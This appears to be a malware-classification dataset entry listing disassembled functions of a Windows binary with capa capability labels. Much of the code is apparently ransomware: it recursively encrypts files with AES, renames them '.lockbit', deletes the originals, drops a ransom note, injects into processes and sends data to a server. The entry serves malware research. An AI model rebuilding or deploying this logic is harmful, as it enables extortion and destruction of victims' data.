joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401667
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [esp], str.Tentativo_di_connessione_al_server...
call sym._puts
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x4016b3
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Errore_Winsock:__d_n
call sym._printf
jmp 0x4017ed
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4016fa
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Errore_socket:__d_n
call sym._printf
call sym._WSACleanup_0
jmp 0x4017ed
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1a8], eax
mov word [ebp - 0x1ac], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1aa], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
jns 0x40177d
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nella_connessione:__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x4017ed
mov dword [esp], str.Connessione_al_server_stabilita.
call sym._puts
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
test eax, eax
jns 0x4017c7
mov dword [esp], str.Errore_nellinvio_dei_dati.
call sym._puts
jmp 0x4017da
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Messaggio_inviato_al_server:__s_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
leave
ret
Function at 0x4017ef
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [esp + 4], 0x40d32d
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x40d330
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x401830
cmp dword [ebp - 0x14], 0
jne 0x40186e
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nellapertura_del_file:__s_n
call sym._printf
cmp dword [ebp - 0x10], 0
je 0x401854
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0x14], 0
je 0x4019ab
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
jmp 0x4019ac
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call sym._AES_init_ctx_iv
jmp 0x401913
cmp dword [ebp - 0x18], 0xf
ja 0x4018d4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4018ce
mov eax, dword [ebp - 0x18]
mov edx, 0x10
sub edx, eax
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xf
jbe 0x4018b6
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call sym._AES_CBC_encrypt_buffer
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 1
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 1
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4018a8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._remove
test eax, eax
jne 0x40197c
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.File_originale_rimosso:__s_n
call sym._printf
jmp 0x40198f
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nella_rimozione_del_file_originale:__s_n
call sym._printf
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Crittografato:__s_____s_n
call sym._printf
jmp 0x4019ac
nop
leave
ret
Function at 0x4019ae
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x150]
mov dword [esp + 4], eax
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401a1f
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore:_impossibile_accedere_alla_directory__s._n
call sym._printf
jmp 0x401b4f
mov dword [esp + 4], 0x40d3f5
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401b1d
mov dword [esp + 4], 0x40d3f7
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401b1d
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x358]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x150]
and eax, 0x10
test eax, eax
je 0x401abe
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x358]
mov dword [esp], eax
call sym._process_files
jmp 0x401b1e
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s.lockbit
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x45c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x45c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x358]
mov dword [esp], eax
call sym._aes_encrypt
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jge 0x401b40
jmp 0x401b1e
nop
lea eax, [ebp - 0x150]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x401a1f
jmp 0x401b41
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret
Function at 0x401b96
Capabilities:
Create thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x40
mov ebx, ecx
call sym.___main
cmp dword [ebx], 1
jg 0x401bd3
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.Uso:__s__directory__n
call sym._printf
mov eax, 1
jmp 0x401c9e
call sym._add_to_registry
call sym._execute_command
call sym._create_ransom_note
call sym._inject_into_process
mov eax, dword [ebx + 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x1c], 1
mov byte [ebp - 0x1b], 2
mov byte [ebp - 0x1a], 3
mov byte [ebp - 0x19], 4
mov byte [ebp - 0x18], 5
mov byte [ebp - 0x17], 6
mov byte [ebp - 0x16], 7
mov byte [ebp - 0x15], 8
mov byte [ebp - 0x14], 9
mov byte [ebp - 0x13], 0xa
mov byte [ebp - 0x12], 0xb
mov byte [ebp - 0x11], 0xc
mov byte [ebp - 0x10], 0xd
mov byte [ebp - 0xf], 0xe
mov byte [ebp - 0xe], 0xf
mov byte [ebp - 0xd], 0x10
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._network_thread_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [esp + 8], 0x64
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._process_files
mov dword [esp], str.Crittografia_completata._Pausa_di_30_minuti...
call sym._puts
mov dword [esp], 0x1b7740
call sym._Sleep_4
sub esp, 4
jmp 0x401c67
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401f89
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov byte [ebp - 0x1c], al
mov byte [ebp - 9], 0
jmp 0x402013
mov byte [ebp - 0xa], 0
jmp 0x402009
movzx ebx, byte [ebp - 9]
movzx edx, byte [ebp - 0xa]
movzx eax, byte [ebp - 9]
movzx ecx, byte [ebp - 0xa]
mov esi, dword [ebp + 0xc]
shl eax, 2
add eax, esi
add eax, ecx
movzx eax, byte [eax]
mov byte [ebp - 0x19], al
movzx eax, byte [ebp - 0x1c]
lea ecx, [eax*4]
movzx eax, byte [ebp - 9]
add eax, ecx
lea ecx, [eax*4]
movzx eax, byte [ebp - 0xa]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp + 0x10]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 0x19]
mov byte [ebp - 0x19], al
mov ecx, dword [ebp + 0xc]
lea eax, [ebx*4]
add eax, ecx
add eax, edx
movzx edx, byte [ebp - 0x19]
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x401fa3
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x401f9d
nop
add esp, 0x14
pop ebx
pop esi
pop ebp
ret

Function at 0x402021
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x40207a
mov byte [ebp - 0xa], 0
jmp 0x402070
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + str.cw]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x402035
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x40202f
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402b35
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x402b8e
mov byte [ebp - 0xa], 0
jmp 0x402b84
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + 0x40d580]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x402b49
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x402b43
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402d93
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov byte [ebp - 5], 0
jmp 0x402dc9
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 8]
add eax, edx
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 8]
add edx, ecx
movzx ebx, byte [edx]
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx edx, byte [edx]
xor edx, ebx
mov byte [eax], dl
add byte [ebp - 5], 1
cmp byte [ebp - 5], 0xf
jbe 0x402da0
nop
add esp, 0x10
pop ebx
pop ebp
ret
Function at 0x402f22
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x3c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x10
jmp 0x40301d
cmp dword [ebp - 0x10], 0x10
jne 0x402ff3
mov eax, dword [ebp + 8]
add eax, 0xb0
mov ebx, dword [eax]
mov dword [ebp - 0x38], ebx
mov ebx, dword [eax + 4]
mov dword [ebp - 0x34], ebx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x30], ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym._Cipher
mov dword [ebp - 0x10], 0xf
jmp 0x402fe6
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
movzx eax, byte [eax]
cmp al, 0xff
jne 0x402fc2
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
mov byte [eax], 0
sub dword [ebp - 0x10], 1
jmp 0x402fe6
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
movzx eax, byte [eax]
lea edx, [eax + 1]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, ecx
add eax, 0xb0
mov byte [eax], dl
jmp 0x402fec
cmp dword [ebp - 0x10], 0
jns 0x402f98
mov dword [ebp - 0x10], 0
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx ebx, byte [edx]
lea ecx, [ebp - 0x20]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx edx, byte [edx]
xor edx, ebx
mov byte [eax], dl
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jb 0x402f3c
nop
add esp, 0x3c
pop ebx
pop ebp
ret
Function at 0x4036c0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x410044
call sym._EnterCriticalSection_4
mov ebx, dword [0x41003c]
sub esp, 4
test ebx, ebx
je 0x40370b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403704
test esi, esi
je 0x403704
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4036e0
mov dword [esp], 0x410044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4038f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403940
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403a18
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40397e
cmp eax, 4
jne 0x4039a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40398e
cmp edx, 4
je 0x40398e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004038f0
Function at 0x40eed0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x5ef470], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x5ef46c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0x26f
jl 0x40eed8
mov dword [0x578000], 0x270
ret

Function at 0x40ef10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x5ef474]
mov ebx, dword [eax*4 + 0x5ef470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5efaa4]
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0xe2
jl 0x40ef18
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x5ef474]
mov ebx, dword [eax*4 + 0x5ef470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5ef0e4]
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0x26e
jl 0x40ef68
mov edx, dword [0x5ef470]
mov ecx, dword [0x5efe2c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x5efaa0]
mov dword [0x5efe2c], eax
mov dword [0x578000], 0
pop ebx
ret

Function at 0x40eff0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x578000]
add dword [0x578000], 1
mov eax, dword [0x5ee020]
cmp eax, dword [0x577750]
jne 0x40f013
cmp ebx, 0x271
jb 0x40f034
mov eax, dword [0x5ee020]
call fcn.0040eed0
not dword [0x5ee020]
mov eax, dword [0x5ee020]
mov dword [0x577750], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40f050
call fcn.0040ef10
xor ebx, ebx
mov dword [0x578000], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x5ef470]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret
Function at 0x410ba0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x5774a0]
cmp ax, 0xcb
je 0x410cac
cmp ax, 0xcc
je 0x410cac
lea esi, [esi]
mov edx, dword [0x5f0070]
test edx, edx
je 0x410bd5
mov eax, dword [0x5eff20]
call edx
mov ebx, eax
jmp 0x410bda
mov ebx, 0x5eff24
cmp word [0x5eff10], 0
jle 0x410c00
mov eax, 0x5efef0
call fcn.00410e70
mov eax, ebx
call fcn.00410760
mov eax, ebx
call fcn.004107d0
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x410c22
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x410c1d
mov edx, edi
mov eax, ebx
call fcn.0040fbd0
jmp 0x410c20
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x410c08
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x5eff10], 0
jle 0x410cac
mov edx, 0x5efe30
mov eax, ebx
call fcn.0040fd10
mov edi, eax
test edi, edi
je 0x410c7c
mov eax, dword [0x5efec4]
mov dword [edi + 0xc], eax
cmp dword [0x5efec4], 0
je 0x410c70
mov eax, dword [0x5efec4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x5efec4], eax
nop
sub word [0x5eff10], 1
cmp word [0x5eff10], 0
sete bl
mov eax, 0x5efef0
call fcn.00410e90
test bl, bl
je 0x410cac
mov eax, 0x5efef0
call fcn.00410e60
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x412ef0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
push ebx
push esi
push edi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.00412ed0
push ebp
push 0x414300
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x20], 0xff
je 0x41301a
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0
mov word [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b7a0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
test edx, edx
jne 0x412f7f
mov edx, 0x5ef2f0
push edx
push esi
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
test ebx, ebx
jne 0x412fd1
call sub.kernel32.dll_GetLastError
call fcn.00404290
lea eax, [ebp - 0x10]
call fcn.0040a380
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
lea edx, [ebp - 0x14]
call fcn.0040a820
mov edx, dword [ebp - 0x14]
mov ecx, 0x594364
lea eax, [ebp - 0x10]
call fcn.0040a6b0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.0040b070
jmp 0x413068
mov eax, esi
mov edx, 0
sub eax, 1
sbb edx, 0
mov ecx, ebx
xor edi, edi
cmp edx, edi
jne 0x412fea
cmp eax, ecx
je 0x412ff4
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0040b7a0
cmp byte [0x577720], 0
jne 0x413068
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bd40
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040b100
lea esi, [esi]
jmp 0x413068
push 0
push 0
call sub.kernel32.dll_GetCurrentDirectoryW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b7a0
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
test eax, eax
jne 0x41303e
mov eax, 0x5ef2f0
push eax
push esi
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x577720], 0
jne 0x413068
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bd40
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040b100
mov esi, esi
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00412ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413480
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x5ef260], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.00413660
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x5ef260]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00403800
call sub.kernel32.dll_GetCommandLineA
mov dword [0x577520], eax
mov ebx, eax
jmp 0x413623
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x413508
cmp byte [ebx], 0
je 0x41362c
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x413583
mov al, byte [ebx]
cmp al, 1
jb 0x413578
sub al, 0x20
jbe 0x413548
sub al, 2
je 0x41355c
jmp 0x413578
mov al, byte [ebp - 0x114]
test al, al
je 0x413588
add dword [ebp - 0x110], 1
jmp 0x413580
cmp byte [ebx + 1], 0x22
je 0x413573
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x413580
add ebx, 1
jmp 0x413580
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x413538
test dword [ebp - 0x10c], 0xffffffff
je 0x41361c
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.00413660
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x5ef260]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x413613
mov al, byte [ebx]
cmp al, 1
jb 0x413608
sub al, 0x20
jbe 0x4135d8
sub al, 2
je 0x4135ec
jmp 0x413608
mov al, byte [ebp - 0x114]
test al, al
je 0x413618
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x413610
cmp byte [ebx + 1], 0x22
je 0x413603
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x413610
add ebx, 1
jmp 0x413610
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x4135c8
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x41350b
mov ebx, dword [ebp - 0x10c]
mov dword [0x5ef250], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x5ef260
call fcn.004109e0
mov eax, dword [0x5ef260]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret